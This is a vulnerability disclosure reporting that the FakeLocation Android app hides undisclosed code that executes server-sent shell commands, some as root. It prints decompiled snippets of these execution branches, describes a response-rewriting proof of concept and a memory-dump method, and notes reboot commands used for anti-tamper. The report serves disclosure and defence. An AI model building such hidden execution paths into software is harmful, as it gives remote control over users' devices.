FakeLocation: undocumented execution of server-supplied shell commands

Reporter: tyldx · tyldx@proton.me · 2026-11

1. Summary

FakeLocation is an Android app that lets users simulate the device's GPS location, for mock-location and route simulation. An optional ROOT mode requires the user to grant root access. Executing server-supplied shell commands is not required for that purpose and is not part of the app's documented functionality.

This capability was introduced between versions 1.3.5-beta and 1.3.10: versions up to 1.3.5-beta (versionCode 1593) are confirmed not affected; 1.3.10, 1.5.0, and 1.5.2 (versionCode 1673-1702) are confirmed affected, with other releases in that range presumed affected. In the affected builds the client parses and executes shell commands embedded in the responses of specific API endpoints, without user approval. Three such server-controlled paths exist. If the server returns a body starting with `10000:` or a wrapped response with `code == 10000`, the app executes an arbitrary command at app privilege; two of the three paths run it through `su`, i.e. as root only when the app has already been granted root. One path fires at startup, before the user accepts the first-run consent dialog. Neither the privacy policy nor the user agreement discloses this capability.

The code exists only in a runtime-decrypted dex and is concealed with packing, string encryption, and split command strings. Certificate pinning prevents an arbitrary network attacker from triggering these paths by man-in-the-middle (based on static analysis); the parties able to trigger them are the developer, who runs the server and holds its private key, and anyone who compromises that server or steals the key, which would expose every device running an affected version.

2. Affected product

- Name: Fake Location (Google Play title "Fake Location - Mock GPS&Route").
- Two builds:
  - Official-site / GitHub build: package `com.lerist.fakelocation` (code flavor = CN), distributed via the official site fakeloc.cc/app and GitHub Releases (Lerist/FakeLocation); not on any app store.
  - Play build: package `dev.lerist.fakelocation`, distributed on Google Play (50K+ installs).
- Developer: Lerist / Chengdu Lanyi Technology Co., Ltd. (成都览一科技有限公司).
- Versions examined: 1.3.2.3 (versionCode 1585), 1.3.5 (1588), and 1.3.5-beta (1593) confirmed not affected; 1.3.10 (1673, Play build), 1.5.0 (1700 official-site/GitHub, 1701 Play), and 1.5.2 (1702, both builds) confirmed affected. Introduced between 1.3.5-beta (1593) and 1.3.10 (1673). Other public releases in the 1673-1702 range were not individually examined and are presumed affected. versionCode values are not consecutive. Both builds (official-site/GitHub and Play) are affected.
- Signing certificates: `b55e7f6ccb63318b2cc4d3c45e6b148131061a2acd0a82725fe59e118d1ddafc` (CN=Lerist., O=Chengdu Lanyi Technology; all official-site/GitHub builds, and old Play <= 1.3.5-beta);

`d9ad7175f80ebed780b0c7c61b7c788827ad4d1953e0381feddd2fa0431f0362` (Play 1.3.10 onward, Play app signing).

- Sample SHA-256 (clean-to-affected boundary and both 1.5.2 builds):

Version	versionCode	Channel	Affected	Sample	SHA-256
1.3.5-beta	1593	Play (apkpure)	no (last clean)	apkpure_1.3.5-beta.xapk	`fd569fe0a89e3b733ca02c84862c997da442d1bb05fd7329d2d0954d1ce6594f`
1.3.10	1673	Play (apkpure)	yes (first affected)	apkpure_1.3.10.xapk	`eb625139e9f55e0627516c52d651a58f0b9b5bbbe3e5f0d71960c3136c42b135`
1.5.0	1700	Official-site/GitHub (CN)	yes	github CN 1.5.0 apk	`7b78f2e9c0f06fdd7f44379f241cd2959f476f6958bb1bb215ebcd796651cd4b`
1.5.2	1702	Official-site/GitHub (CN)	yes	single apk (site == GitHub)	`5d2a2bad585e3d50c38621a002bcf7a8e0dcf5448fc045f58619fe7a491eaea1`
1.5.2	1702	Play	yes	base.apk (app bundle)	`a4fa13cd318d6ad392bd6033a93e40bac5ac1eff90b65d7c526033aa8f679d24`

The apkpure 1.3.5-beta/1.3.10 samples are `.xapk` containers (zipped split APKs); the hash is of the container. The Play 1.5.2 sample is an app bundle; the hash above is of its `base.apk`.

3. Weakness type

- Primary: CWE-912 Hidden Functionality. This class requires no finding of intent, only that the functionality is undocumented, outside the specification, and not reachable through an obvious interface; this report is assessed on that basis.
- Related: CWE-506 Embedded Malicious Code. Combined with the packing, string encryption, split command strings, and silent execution, the functionality has the characteristics of a backdoor; whether it is malicious is a judgment of intent, so this report relies on observable facts and treats this class as secondary.

4. Technical detail: three server-controlled RCE paths

Obfuscated names are from the decompiled runtime-decrypted dex of each version. Play 1.5.2 names are given first, with the official-site/GitHub build's equivalents. All three paths share one command sink (Play `fv2.ᓭ(String[] cmds, boolean su, boolean b)` / official-site/GitHub build `z41`, `C13588.m51168`):

```
Process p = Runtime.getRuntime().exec(su ? "su" : "sh");  // command written via stdin
```

4.1 Path 1: getNotices -> sh (both builds)

The notice class (Play `com.lerist.lib.notice.C6073` / official-site/GitHub build `C11241`) in the getNotices response callback:

```
String s = response.body().string();
if (s.startsWith("10000:")) {
    Runtime.getRuntime().exec(new String[]{"sh", "-c", s.substring(6)});
}
// s is then parsed as the notice JSON; for "10000:..." this throws and is swallowed by catch
```

Endpoint `POST https://notice.api.fakeloc.cc:4430/Notice/getNotices`, requested during the app's startup loading. Its response is evaluated for `startsWith("10000:")` as soon as it arrives, independently of the first-run consent flow. Verified in the PoC (see 6): on a fresh install the command executed while the first-run consent dialog was still displayed and the user had not tapped "Agree", with no interaction; the behavior is also outside the scope of what the user consents to (see 4.4). Execution reads no output, writes no log, and swallows exceptions.

4.2 Path 2: generic callback code==10000 -> su + sh (both builds)

The synchronous callback (Play `C3685.m13605`) handling the Retrofit response wrapper, failure branch:

```
int code = resp.getCode();
String message = resp.getMessage();
if (code == 10000 && !TextUtils.isEmpty(message)) {
    fv2.<exec>(message, /*su=*/true,  ...);  // run as su
    fv2.<exec>(message, /*su=*/false, ...);  // run as sh
}
```

One endpoint handled by this synchronous callback (su+sh) is `POST /FakeLocation/goods/getRenewalGoodsList` (requested when the renewal page is opened). An asynchronous variant (`C3685.AbstractC3687.m13609`) runs sh only on `code==10000`; endpoints using it include the version check `version/checkApkUpdate`, requested automatically at startup (its callback `C5946 extends AbstractC3687`), so that path also executes a command at startup, as the app uid. The official-site/GitHub build's equivalent class is `C5901`, same semantics.

4.3 Path 3: blocklist polling ver/vfs code==10000 -> su + sh (official-site/GitHub build only)

A background thread (`RunnableC13518`, started by `C13538.m51102` once the app's ROOT mode is activated) polls `POST ver/vfs` every 2 to 7 minutes to fetch the list of packages barred from mock location; when the response has `code==10000 && message not empty`:

```
C13588.m51168(new String[]{message}, /*su=*/true,  true);  // su
C13588.m51168(new String[]{message}, /*su=*/false, true);  // sh
```

This path is independent of the UI; the app polls on a timer in the background, so the server can send a command at any time. Not present in the Play build.

4.4 Transport and concealment

- Servers `*.api.fakeloc.cc:4430`, backup `*.lerist.dev`; DNS over HTTPS.
- Mutual TLS pinned to a Lerist self-signed server certificate (`xp0.m10346`, BKS, password hardcoded; value redacted in the public version). The trust store `tp.png` pins the server cert (fingerprint `60:5C:2B...`; its private key is NOT in the app); the client keystore `tl.png` holds the

client private key (fingerprint `F1:11:05...`, usable only to impersonate a client). `tp.png` is byte-identical across both builds. The hostname verifier (`HostnameVerifier.verify`) always returns true, a latent weakness.

- Concealment: the business code exists only in a runtime-decrypted dex (official-site/GitHub build: 360 packer; Play build: a custom loader), invisible when unpacking the APK directly; strings are XOR-encrypted; sensitive commands are split and concatenated; no logging, exceptions swallowed.
- Not authorized: neither the privacy policy, the user agreement, nor the terms disclose remote command execution. The only clause touching server-side control is the "Blocked apps list" (user agreement clause 5.3), which states only that "technical measures are taken to functionally block high-risk apps, so blocked apps cannot use this software's mock data" - limited to disabling the mock feature, not executing shell/root commands. The ROOT warning only states that granting root lowers device security, not that the app executes server-sent commands. This functionality is therefore both undisclosed and outside the scope of what the user consents to.
- Public text, archived 2026-11-04/05, none of which discloses remote command execution: privacy policy https://archive.today/OK0Jk (2026-11-04); user agreement https://archive.today/Iulzs (2026-11-04); terms of use https://archive.today/MyhhH (2026-11-04); download page https://archive.today/ZMnTg (2026-11-04).

5. Impact and scoring

- Any party able to make these endpoints return the above directives can run arbitrary shell commands on devices with an affected version installed; paths 2 and 3 run as root when the app holds root (the app's ROOT mode requires the user to grant root). Path 1 fires automatically at startup, before the user accepts any terms, with no interaction. After the build-expiry mechanism (see 8), path 3 (the poller) stops; paths 1 and 2 are unaffected.
- Because of certificate pinning and because the server's private key is not in the app, an arbitrary third party cannot trigger this via a network man-in-the-middle (based on static analysis). The parties who can trigger it are: the developer (holding the server private key and running the server), or anyone who compromises Lerist's server or steals its server private key. This functionality is therefore controllable by the developer and also creates a supply-chain single point of failure: a breach of the vendor's infrastructure yields RCE and privilege escalation across the affected install base.
- CVSS v3.1, scored per path (shared prefix AV:N/AC:H/PR:N: the command is delivered over the network and requires control of the certificate-pinned server):
  - Path 1 (sh, app uid): `AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` = 8.1. The command is bounded by the app's own privileges (S:U).
  - Path 2 (su, root, needs the renewal page opened): `AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H` = 8.3.
  - Path 3 (su, root; official-site/GitHub build only, requires ROOT mode activated, no further interaction after activation): `AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H` = 9.0.
  - Overall rated at the most severe path 3, 9.0 (Critical). Note: if the vendor itself is treated as the attacker (no precondition), AC:L raises each path.
- CVSS v4.0, scored per path (official calculator):
  - Path 1 (sh, app uid): `CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` = 9.2.

- Path 2 (su, root, renewal page): `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H` = 9.0.
- Path 3 (su, root, background poll): `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H` = 9.5.
- Overall 9.5 (path 3). AT:P on paths 2/3 reflects that root must have been granted (path 3 also needs ROOT mode activated); SC/SI/SA:H reflect escape to root (paths 2/3), N for the app-scoped path 1. Path 3 is static-confirmed only; setting Exploit Maturity E:U or E:P lowers its score.

6. Proof of concept

Method: an LSPosed module hooks only `okhttp3.internal.http.RealInterceptorChain.proceed` and rewrites the response body by request URL, triggering the app's own command-execution branches. It does not contact the vendor's server and does not modify the app; the injected command is only `id`. Test device Pixel 9 (KernelSU).

Build	Path	Trigger	Key output	Verified
Play 1.5.2	1 (sh)	getNotices response rewritten to `10000:id>...`	`uid=10358(u0_a358) ... untrusted_app_34` (app uid)	Live
Play 1.5.2	2 (su)	renewal page opened -> `goods/getRenewalGoodsList` rewritten to `{"code":10000,...}`	`uid=0(root) ... u:r:ksu:s0`	Live
Official-site/GitHub 1.5.2	1 (sh)	getNotices rewritten	`uid=10355(u0_a355) ... untrusted_app_27` (app uid)	Live
Official-site/GitHub 1.5.2	2 (su)	`goods/getRenewalGoodsList` rewritten	`uid=0(root)`	Live
Official-site/GitHub 1.5.2	3 (su)	not triggered	shares the command sink and `code==10000` mechanism with path 2	Static only

Path 1 also ran before consent: on a fresh install the command executed while the first-run consent dialog was still on screen and the user had not tapped "Agree", with no interaction (uiautomator showed the "Agree" button present and untapped, topResumedActivity=MainActivity). Path 3 (poller) was not live-driven: its thread starts only once the app's ROOT mode is activated (which also triggers the app's own injection and anti-tamper), so it was left undriven to avoid side effects.

Boundary: this is a client-side demonstration (the response is injected locally), proving the client executes server-controlled commands; it does not prove the vendor's server currently sends them. The primary evidence is the static code branches in section 4.

7. Reproduction and forensics

- Runtime dex extraction: read `/proc/<pid>/maps` for the decrypted dex regions -> dd them out -> split by dex header (size at offset 32, class_defs at offset 96) -> decompile with jadx. XOR string

decode: `plain[i] = a[i] ^ b[i % len(b)]`.

- Per-version class map is above; the full decompilation and the vendor APKs are not redistributed here (vendor copyright). Samples are identified by the SHA-256 hashes in section 2.

8. Other undisclosed behavior (corroborating, non-core)

These are other undisclosed behaviors. The first is server-controlled, of the same kind as the paths above; the other two are local self-protection mechanisms (not server-controlled).

Server-controlled:

- Remote kill: the same callback, on `code == 9999`, runs cleanup and `System.exit(0)`, letting the server terminate the client process remotely.

Local self-protection (official-site/GitHub build only):

- Anti-tamper reboot: checks the md5 of the app's private directory and the APK size / version hash; on mismatch it runs, as root, `killall system_server` (soft reboot) or `reboot`; the command strings are split and concatenated to evade static scanning.
- Build-expiry mechanism: build timestamp + 200 days; after expiry it throws, and path 3 (the poller), injection, and init no longer start. 1.5.2 expires 2027-03-08; 1.5.0 expired 2026-10-26. Paths 1 and 2 are not gated by this mechanism.

9. User remediation

- Uninstall affected versions (versionCode >= 1673, i.e. 1.3.10 onward).
- Revoke any root previously granted to the app.
- If an affected version was run on a root-granted device, treat the device as potentially having received commands, and assess accordingly (check for anomalies, reset if warranted).

10. Disclosure timeline

- 2026-11-05: CVE requested from MITRE.
- 2026-11-05: Report published; reported to Google Play (policy against downloading or executing server-controlled code) and GitHub (a release distributing a binary with this undisclosed code).
- Vendor not notified: the affected code is present in releases signed with the vendor's certificate, and the vendor's server can trigger the functionality; this report therefore did not use coordinated prior disclosure and was instead published and submitted to the platforms directly. The repository had already been archived by the owner on 2026-08-20.

Method: reverse engineering and runtime memory dumping, for security disclosure only.

11. Reporter

tyldx (github.com/tyldx), tyldx@proton.me.